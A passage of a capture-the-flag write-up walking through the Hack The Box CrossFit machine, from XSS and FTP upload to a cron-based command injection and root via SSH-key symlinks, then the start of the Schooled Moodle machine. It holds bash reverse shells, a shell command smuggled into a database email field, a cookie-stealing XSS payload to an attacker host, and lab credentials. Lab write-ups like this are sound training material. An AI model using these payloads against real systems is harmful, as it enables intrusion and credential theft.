Referer: http://gym-club.crossfit.htb/blog-single.php

Upgrade-Insecure-Requests: 1



name=lucifer11&email=1185151867%40qq.com&phone=17746608760&message=%3Cscript%3E&submit=submit
```
Let's check the python listner.

and receive the response:

``` bash
10.10.10.208 - - [28/Nov/2020 09:05:09] "GET /createuser.js HTTP/1.1" 200 -
```

And i use lftp to connect with ftp.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# lftp
lftp :~> set ftp:ssl-force true
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> set ssl:verify-certificate no 
lftp 10.10.10.208:~> login luci
密码: 
lftp luci@10.10.10.208:~> ls
drwxrwxr-x    2 33       1002         4096 Sep 21 09:45 development-test
drwxr-xr-x   13 0        0            4096 May 07  2020 ftp
drwxr-xr-x    9 0        0            4096 May 12  2020 gym-club
drwxr-xr-x    2 0        0            4096 May 01  2020 html
lftp luci@10.10.10.208:/>
```

We find another sub-domain called: development-test.crossfit.htb

Let's add this in our /etc/hosts file.

If you closely see that we have read and write access of development-test directory.

So that mean we can upload a php reverse shell and execute it with our rev.js file.

#### step 1

Create a file called rev.php.

rev.php

``` bash
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.8/9988 0>&1'") ?>
```

#### step 2

Create another file called rev.js that will execute our rev.php.

rev.js

``` bash
req = new XMLHttpRequest;
req.open('GET',"http://development-test.crossfit.htb/rev.php");
req.send();
```

#### step 3

Start you python server on the same directory were all files exist and netcat Listener.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# ls
createuser.js  luci.js  rev.js  rev.php
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

``` bash
┌──(root💀kali)-[~]
└─# nc -lvp 9988
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9988
Ncat: Listening on 0.0.0.0:9988
```

#### step 4

upload the rev.php in ftp development-test directory.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# lftp                                                                                                      
lftp :~> set ftp:ssl-force true
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> set ssl:verify-certificate no
lftp 10.10.10.208:~> login luci
密码: 
lftp luci@10.10.10.208:~> ls
drwxrwxr-x    2 33       1002         4096 Sep 21 09:45 development-test
drwxr-xr-x   13 0        0            4096 May 07  2020 ftp
drwxr-xr-x    9 0        0            4096 May 12  2020 gym-club
drwxr-xr-x    2 0        0            4096 May 01  2020 html
lftp luci@10.10.10.208:/> cd development-test
lftp luci@10.10.10.208:/development-test> ls
lftp luci@10.10.10.208:/development-test> put rev.php
69 bytes transferred in 12 seconds (6 B/s)       
lftp luci@10.10.10.208:/development-test> ls
-rw-r--r--    1 1002     1002           69 Nov 28 14:30 rev.php
```

#### step 5

Go to burp repeater tab and edit it to rev.js and send it:

``` bash
POST /blog-single.php HTTP/1.1

Host: gym-club.crossfit.htb

User-Agent: <script src="http://10.10.14.8/rev.js"></script>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 90

Origin: http://gym-club.crossfit.htb

Connection: close

Referer: http://gym-club.crossfit.htb/blog-single.php

Upgrade-Insecure-Requests: 1



name=dcasdc&email=casdcasdcd%40qq.com&phone=17746608760&message=%3Cscript%3E&submit=submit
```

Now let's see our netcat listner

``` bash
10.10.10.208 - - [28/Nov/2020 09:29:23] "GET /rev.js HTTP/1.1" 200 -
```

``` bash
┌──(root💀kali)-[~]
└─# nc -lvp 9988
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9988
Ncat: Listening on 0.0.0.0:9988
Ncat: Connection from 10.10.10.208.
Ncat: Connection from 10.10.10.208:37118.
id
bash: cannot set terminal process group (712): Inappropriate ioctl for device
bash: no job control in this shell
www-data@crossfit:/var/www/development-test$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@crossfit:/var/www/development-test$ whoami
whoami
www-data
```

Boom we got the shell as www-data.

Now let's run the linPEAS.

 - [LinPEAS - Linux Privilege Escalation Awesome Script](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)

``` bash
www-data@crossfit:/var/www/development-test$ ./linpeas.sh > info
./linpeas.sh > info
ls: cannot access '/etc/hosts.denied': No such file or directory
grep: write error: Broken pipe
www-data@crossfit:/var/www/development-test$
```

After analyze the output i found two interesting things.

First is crontabs

They run send_updates.php file that's look suspicious.

``` bash
MAILTO=""
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

*  *    * * *   isaac   /usr/bin/php /home/isaac/send_updates/send_updates.php
```

Second is 2 hashes in the linPEAS result.

``` bash
[+] Looking for specific hashes inside files - less false positives (limit 70)
/etc/ansible/playbooks/adduser_hank.yml:$6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCfNEQIbH79nZf09mM.Iov/pzDCE8xNZZCM9MuHKMcjqNUd8QUEzC1CZG/
/var/www/ftp/database/factories/UserFactory.php:$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi
```

Let's try to crack this hashes

I save this hashes in a file called hash

hash

``` bash
$6$e20D6nUeTJOIyRio$A777Jj8tk5.sfACzLuIqqfZOCsKTVCfNEQIbH79nZf09mM.Iov/pzDCE8xNZZCM9MuHKMcjqNUd8QUEzC1CZG/
$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi
```

Let's crack it with john.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# john -w=/usr/share/wordlists/rockyou.txt hash
Warning: only loading hashes of type "sha512crypt", but also saw type "bcrypt"
Use the "--format=bcrypt" option to force loading hashes of that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
powerpuffgirls   (?)
1g 0:00:00:05 DONE (2020-11-28 09:51) 0.1919g/s 4618p/s 4618c/s 4618C/s tajmahal..hunibuni
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

And we got the password called powerpuffgirls

And this hash is for hank user that we see in linPEAS result.

Let's try to ssh in and got our user.txt flag.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# ssh hank@10.10.10.208
hank@10.10.10.208's password: 
Linux crossfit 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
No mail.
Last login: Mon Sep 21 05:46:24 2020 from 10.10.14.2
hank@crossfit:~$ ls
user.txt
hank@crossfit:~$ cat user.txt
d6ce5237244a14992edde7f0b62b6076
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb127.jpg)

#### Privilege escalation

Let's check crontabs first.

``` bash
hank@crossfit:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

MAILTO=""
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)                                                                                                
# |  .------------- hour (0 - 23)                                                                                                  
# |  |  .---------- day of month (1 - 31)                                                                                          
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...                                                                          
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat                                             
# |  |  |  |  |                                                                                                                    
# *  *  *  *  * user-name command to be executed                                                                                   
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly                                                                
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )                                
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )                               
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )                              
*  *    * * *   isaac   /usr/bin/php /home/isaac/send_updates/send_updates.php
```

there is a send_updates.php file which we see in the previous linPEAS result.

Let's check what inside the send_updates.php.

``` bash
hank@crossfit:~$ cat /home/isaac/send_updates/send_updates.php
<?php
/***************************************************
 * Send email updates to users in the mailing list *
 ***************************************************/
require("vendor/autoload.php");
require("includes/functions.php");
require("includes/db.php");
require("includes/config.php");
use mikehaertl\shellcommand\Command;

if($conn)
{
    $fs_iterator = new FilesystemIterator($msg_dir);

    foreach ($fs_iterator as $file_info)
    {
        if($file_info->isFile())
        {
            $full_path = $file_info->getPathname(); 
            $res = $conn->query('SELECT email FROM users');
            while($row = $res->fetch_array(MYSQLI_ASSOC))
            {
                $command = new Command('/usr/bin/mail');
                $command->addArg('-s', 'CrossFit Club Newsletter', $escape=true);
                $command->addArg($row['email'], $escape=true);

                $msg = file_get_contents($full_path);
                $command->setStdIn('test');
                $command->execute();
            }
        }
        unlink($full_path);
    }
}

cleanup();
?>
```

We can check that if the mikehaertl library does not protect what it reads in the database ... so we can pass it a command.

Looking in the library repository (you can see the version in the composer.json file) there is a problem in this issue # 44

 - [escapeArgs option is not working properly](https://github.com/mikehaertl/php-shellcommand/issues/44)


now we need ftp credentials to be able to inject the commands into the database so that the php script can read them and run them.

Before doing enumeration I saw the credentials in /var/www/gym-club/db.php

``` bash
hank@crossfit:/home/isaac/send_updates$ cat /var/www/gym-club/db.php 
$dbhost = "localhost";
$dbuser = "crossfit";
$dbpass = "oeLoo~y2baeni";
$db = "crossfit";
$conn = new mysqli($dbhost, $dbuser, $dbpass, $db);
hank@crossfit:/home/isaac/send_updates$
```

Now we only need one thing ftp credentials.

I run linPEAS again and found a interesting file:

``` bash
[+] Readable files belonging to root and readable by me but not world readable
-r--r----- 1 root hank 33 Nov 28 07:54 /home/hank/user.txt                                                                                                                                                                                 
-rw-r----- 1 root admins 384 Sep 27  2017 /etc/pam.d/chfn
-rw-r----- 1 root admins 92 Sep 27  2017 /etc/pam.d/newusers
-rw-r----- 1 root admins 119 Oct  9  2019 /etc/pam.d/vmtoolsd
-rw-r----- 1 root admins 1221 May 11  2020 /etc/pam.d/common-auth
-rw-r----- 1 root admins 4944 May  7  2020 /etc/pam.d/login
-rw-r----- 1 root admins 317 Jan 29  2020 /etc/pam.d/systemd-user
-rw-r----- 1 root admins 138 Jan 10  2019 /etc/pam.d/runuser-l
-rw-r----- 1 root admins 1208 May 11  2020 /etc/pam.d/common-account
-rw-r----- 1 root admins 319 May  1  2020 /etc/pam.d/vsftpd.orig
-rw-r----- 1 root admins 2256 May 11  2020 /etc/pam.d/su
-rw-r----- 1 root admins 647 May 12  2020 /etc/pam.d/vsftpd
-rw-r----- 1 root admins 137 Jan 10  2019 /etc/pam.d/su-l
-rw-r----- 1 root admins 90 May  7  2020 /etc/pam.d/chpasswd
-rw-r----- 1 root admins 1440 May 11  2020 /etc/pam.d/common-password
-rw-r----- 1 root admins 1154 May 11  2020 /etc/pam.d/common-session-noninteractive
-rw-r----- 1 root admins 2133 May  6  2020 /etc/pam.d/sshd
-rw-r----- 1 root admins 1189 May 11  2020 /etc/pam.d/common-session
-rw-r----- 1 root admins 520 Feb 14  2019 /etc/pam.d/other
-rw-r----- 1 root admins 580 May  7  2020 /etc/pam.d/chsh
-rw-r----- 1 root admins 92 Sep 27  2017 /etc/pam.d/passwd
-rw-r----- 1 root admins 606 Oct 11  2019 /etc/pam.d/cron
-rw-r----- 1 root admins 143 Jan 10  2019 /etc/pam.d/runuser
```

Let's see the content inside the file.

``` bash
hank@crossfit:~$ cat /etc/pam.d/vsftpd
auth sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3
account sufficient pam_mysql.so user=ftpadm passwd=8W)}gpRJvAmnb host=localhost db=ftphosting table=accounts usercolumn=username passwdcolumn=pass crypt=3

# Standard behaviour for ftpd(8).
auth    required        pam_listfile.so item=user sense=deny file=/etc/ftpusers onerr=succeed

# Note: vsftpd handles anonymous logins on its own. Do not enable pam_ftp.so.

# Standard pam includes
@include common-account
@include common-session
@include common-auth
auth    required        pam_shells.so
```

And we find the ftp credentials

``` bash
user=ftpadm passwd=8W)}gpRJvAmnb
```

Without wasting time let's login in ftp with this credentials.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# lftp
lftp :~> set ftp:ssl-force true
lftp :~> connect 10.10.10.208
lftp 10.10.10.208:~> set ssl:verify-certificate no
lftp 10.10.10.208:~> login ftpadm
密码: 
lftp ftpadm@10.10.10.208:~> ls
drwxrwx---    2 1003     116          4096 Sep 21 10:19 messages
lftp ftpadm@10.10.10.208:/> cd messages
lftp ftpadm@10.10.10.208:/messages> ls
lftp ftpadm@10.10.10.208:/messages>
```

There is a one directory called messsage but nothing inside it let's put our rev.php inside it which we previously create.

rev.php

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# cat rev.php 
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.8/9001 0>&1'") ?>
```

``` bash
lftp ftpadm@10.10.10.208:/messages> ls
lftp ftpadm@10.10.10.208:/messages> put rev.php
69 bytes transferred in 9 seconds (8 B/s)                        
lftp ftpadm@10.10.10.208:/messages> ls
-rw-r--r--    1 1003     1004           69 Nov 28 15:35 rev.php
```

Let's login in mysql database.

``` bash
hank@crossfit:~$ mysql -h localhost -ucrossfit -poeLoo~y2baeni
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2613
Server version: 10.3.22-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| crossfit           |
| information_schema |
+--------------------+
2 rows in set (0.000 sec)
```

There is one database inside let go inside this and we see users table but nothing inside let's put our rev shell inside.

Before insert inside users table start your netcat listner on 9001.

``` bash
MariaDB [crossfit]> insert into users (id, email) values (9001, "-E $(bash -c 'bash -i >& /dev/tcp/10.10.14.8/9001 0>&1')");
Query OK, 1 row affected (0.001 sec)                                                                                                   
                                                                                                                                       
MariaDB [crossfit]> select * from users;                                                                                               
+------+----------------------------------------------------------+                                                                    
| id   | email                                                    |
+------+----------------------------------------------------------+
| 9001 | -E $(bash -c 'bash -i >& /dev/tcp/10.10.14.8/9001 0>&1') |
+------+----------------------------------------------------------+
1 row in set (0.000 sec)

MariaDB [crossfit]>
```

After 10-15sec you get your reverse shell.

``` bash
┌──(root💀kali)-[~]
└─# nc -lvp 9001
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.208.
Ncat: Connection from 10.10.10.208:43934.
bash: cannot set terminal process group (27903): Inappropriate ioctl for device
bash: no job control in this shell
isaac@crossfit:~$ id
id
uid=1000(isaac) gid=1000(isaac) groups=1000(isaac),50(staff),116(ftp),1005(admins)
isaac@crossfit:~$ whoami
whoami
isaac
```

Boom we got the shell for isaac.

Now let's run the pspy to see the which proccess are running inside the box.

 - [pspy64](https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64)

trasfer this pspy64 inside box and run:

``` bash
hank@crossfit:~$ ./pspy64 -f

2020/11/28 11:31:01 FS:        CLOSE_NOWRITE | /usr/bin/dbmsg
```

There is service called dbmsgthat runs every minute.

But it's a binary file so we can't cat it we need to analize this file with ghidra so let's transfer it to our local machine.

I use nc to transfer the file.

``` bash
hank@crossfit:~$ nc 10.10.14.8 9002 < /usr/bin/dbmsg
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# nc -lvp 9002 > dbmsg
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 10.10.10.208.
Ncat: Connection from 10.10.10.208:58104.
```

Now let's analize this in ghidra.

 - [ghidra](https://ghidra-sre.org/)

main function

``` bash
void main(void)

{
  __uid_t _Var1;
  time_t tVar2;
  
  _Var1 = geteuid();
  if (_Var1 != 0) {
    fwrite("This program must be run as root.\n",1,0x22,stderr);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  process_data();
                    /* WARNING: Subroutine does not return */
  exit(0);
}
```

After analize the program i unserstand that

The dbmsg program runs every minute and generates a random number with a "seed" or "base" of the time of the remote machine. with which we can create a C program that runs at the same time as dbmsg. this will create the same random number, always the best is in C since we have to use system libraries like the GNU / Libc glibc random number generator since the binary also uses it.

Let's create the little program or at other words exploit:

exploit.c

``` bash
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(void)
{
    srand(time(0));
    printf("%d", rand());

    return 0;
}
```

Let's compile the exploit.

``` bash
──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# gcc exploit.c -o exploit
ls -al | grep exploit
-rwxr-xr-x  1 root root   16736 11月 28 11:44 exploit
-rw-r--r--  1 root root     147 11月 28 11:43 exploit.c
```

Now let's create ssh key

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# ssh-keygen -t ed25519 -f id_rsa
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:JKM0G1B6lxUQmO715Pq2UBdJoOe9QJjfmeU7tYIwdl4 root@kali
The key's randomart image is:
+--[ED25519 256]--+
|  ...ooo+o.      |
|   oo  * . .     |
|  ..= O + o .    |
|   o.*.O.o *     |
|   .o. +S B E .  |
|    .  ooB + o . |
|      ..  + + .  |
|      ...    o   |
|       oo.       |
+----[SHA256]-----+
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# la -la | grep id_
-rw-------  1 root root     399 11月 28 11:45 id_rsa
-rw-r--r--  1 root root      91 11月 28 11:45 id_rsa.pub
```

Now create one more file called root.sh that will automate our process.

Change the ssh key of yours.

root.sh

``` bash
chmod +x exploit
mysql -h localhost -u crossfit -poeLoo~y2baeni -Dcrossfit -e'insert into messages (id, name, email, message) values (1, "ssh-ed25519", "root@kali", "AAAAC3NzaC1lZDI1NTE5AAAAIBpM8dQcTJXzXOsciQU22F4qpf1jv/SscvQAu+kz7np1");'
while true; do ln -s /root/.ssh/authorized_keys /var/local/$(echo -n $(./exploit)1 | md5sum | cut -d " " -f 1) 2>/dev/null; done
```

Now transfer the file inside /home/isaac/ .

``` bash
isaac@crossfit:~$ wget http://10.10.14.8/exploit
wget http://10.10.14.8/exploit
--2020-11-28 11:57:19--  http://10.10.14.8/exploit
Connecting to 10.10.14.8:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16736 (16K) [application/octet-stream]
Saving to: ‘exploit’

     0K .......... ......                                     100% 51.9K=0.3s

2020-11-28 11:57:23 (51.9 KB/s) - ‘exploit’ saved [16736/16736]

isaac@crossfit:~$ wget http://10.10.14.8/root.sh
wget http://10.10.14.8/root.sh
--2020-11-28 11:58:11--  http://10.10.14.8/root.sh
Connecting to 10.10.14.8:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 369 [text/x-sh]
Saving to: ‘root.sh’

     0K                                                       100% 60.4M=0s

2020-11-28 11:58:12 (60.4 MB/s) - ‘root.sh’ saved [369/369]

isaac@crossfit:~$ ls -la
ls -la
total 68
drwxr-xr-x 7 isaac isaac   4096 Nov 28 11:58 .
drwxr-xr-x 4 root  root    4096 Sep 21 04:00 ..
lrwxrwxrwx 1 root  root       9 May 12  2020 .bash_history -> /dev/null
-rw-r--r-- 1 isaac isaac    220 Apr 27  2020 .bash_logout
-rw-r--r-- 1 isaac isaac   3526 Apr 27  2020 .bashrc
drwx------ 5 isaac isaac   4096 May  4  2020 .cache
drwxr-xr-x 4 isaac isaac   4096 May 11  2020 .config
-rw-r--r-- 1 isaac isaac  16736 Nov 28 11:44 exploit
drwx------ 3 isaac isaac   4096 Apr 28  2020 .gnupg
drwxr-xr-x 3 isaac isaac   4096 May  4  2020 .local
lrwxrwxrwx 1 isaac isaac      9 May  4  2020 .mysql_history -> /dev/null
-rw-r--r-- 1 isaac isaac    807 Apr 27  2020 .profile
lrwxrwxrwx 1 root  root       9 May 12  2020 .python_history -> /dev/null
-rw-r--r-- 1 isaac isaac    369 Nov 28 11:52 root.sh
-rw-r--r-- 1 isaac isaac     74 May  5  2020 .selected_editor
drwxr-x--- 4 isaac admins  4096 May  9  2020 send_updates
isaac@crossfit:~$ chmod 777 *
chmod 777 *
```

Now run this command:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/crossfit]
└─# chmod 600 id_rsa
ssh -i id_rsa root@10.10.10.208
Linux crossfit 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Sep 21 04:46:55 2020
root@crossfit:~# id
uid=0(root) gid=0(root) groups=0(root)
root@crossfit:~# whoami
root
root@crossfit:~# ls
cleanup.sh  delete_ftp_users.sh  root.txt
root@crossfit:~# cat root.txt
961252b5bd669e97c7ab25e93fc1a3a3
```

now we got root, and read the root.txt

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb129.jpg)

#### Summary of knowledge

 - use xss + structured js file to read web pages
 - structured js file to excecute php page
 - use john crack hashs
 - php escapeArgs option is not working properly
 - crontab + mysql to get a reverse shell
 - use pspy to get service runs progresses
 - nc transfer files
 - ghidra anlaliys file
 - ed25519 ssh key + random number generator + bash script to privesc

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end crossfit -->

</details>

<a id="case-schooled"></a>

## 教学平台角色边界与插件执行

教师会话、Moodle 角色和插件权限决定 Web 执行路径。FreeBSD 包管理器的后续权限条件与 Linux 案例分开保留。

<p class="kb-provenance">来源 schooled · 原记录 2021-04-09 · 18 个代码块 · 15 处图片引用</p>

<details class="kb-evidence" id="record-schooled">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start schooled -->

#### introduce

OS:	 FreeBSD
Difficulty: Medium
Points:	30
Release:	03 Apr 2021
IP:	10.10.10.234

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1915.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/schooled]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.234
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
33060/tcp open  mysqlx?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.91%I=7%D=4/9%Time=60707339%P=x86_64-pc-linux-gnu%r(NU
SF:LL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOpt
SF:ions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVersi
SF:onBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2B
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fIn
SF:valid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%
SF:r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\
SF:x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9,
SF:"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY00
SF:0")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x08
SF:\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x
SF:05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\x
SF:08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20mes
SF:sage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LAND
SF:esk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0
SF:\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC
SF:,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0
SF:fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"\
SF:x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid\
SF:x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\
SF:x88'\x1a\x0fInvalid\x20message\"\x05HY000");
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
```

#### ENUMERATION

After some enumeration i got some users list, then i got subdomain

``` bash
admissions@schooled.htb
schooled.htb
```

ran ffuf to find sub-enumeration its very fast
Compare to gobuster 

``` bash
/root/ffuf/ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://schooled.htb/ -H 'Host: FUZZ.schooled.htb'

moodle         [Status: 200, Size: 84, Words: 5, Lines: 2]  
```

then add moodle.schooled.htb to your /etc/hosts

create new account

make sure set mail id <yourname>@student.schooled.htb

continue

its running on moodle

After some google search i found latest rce for this version 3.9🤩

its vulnerable to CVE-2020-14321

Here is a some reference about this exploit, and how to perform😉

 - [moodle​ RCE | CVE​-2020-14321 PoC](https://www.youtube.com/watch?v=BkEInFI4oIU)
 - [CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)

Before do this exploit we become manager
So lets switch user to teacher Though xss-account Takeover
ACCOUNT TAKEOVER (Student to Teacher)

 - hint for xss:

``` bash
http://moodle.schooled.htb/moodle/mod/forum/user.php?id=24&mode=discussions
```

 - edit profile:

``` bash
http://moodle.schooled.htb/moodle/user/profile.php?id=28
```

 - put our payload on moodlenet

``` bash
http://moodle.schooled.htb/moodle/user/edit.php
```

Here is the payload i used :

``` bash
<img src=x onerror=this.src='http://10.10.14.7:8000/?'+document.cookie;>
```

Then open your terminal run python -m SimpleHTTPServer (python server) for to catch Manuel Phillip's cookie

Enroll the course and check the server(our python server)

``` bash
python -m SimpleHTTPServer

10.10.10.234 - - [10/Apr/2021 11:52:38] "GET /?MoodleSession=4pot7f8s1sqpobn7bjvidf2s6t HTTP/1.1" 200 -
```

insert the cookie and we become 'manuel phillips'

we are now teacher

our id is 24 don't forget

Go Maths --> Participants 

enroll user Lianne Carter 

why enroll Lianne Carter ? because she is manager

``` bash
http://moodle.schooled.htb/teachers.html
```

capture the request via burp to become manager/administrartor

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1916.jpg)

change id=24 and rollassign=1

Forward the Request  and Now we became Administrator

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1917.jpg)

Then 

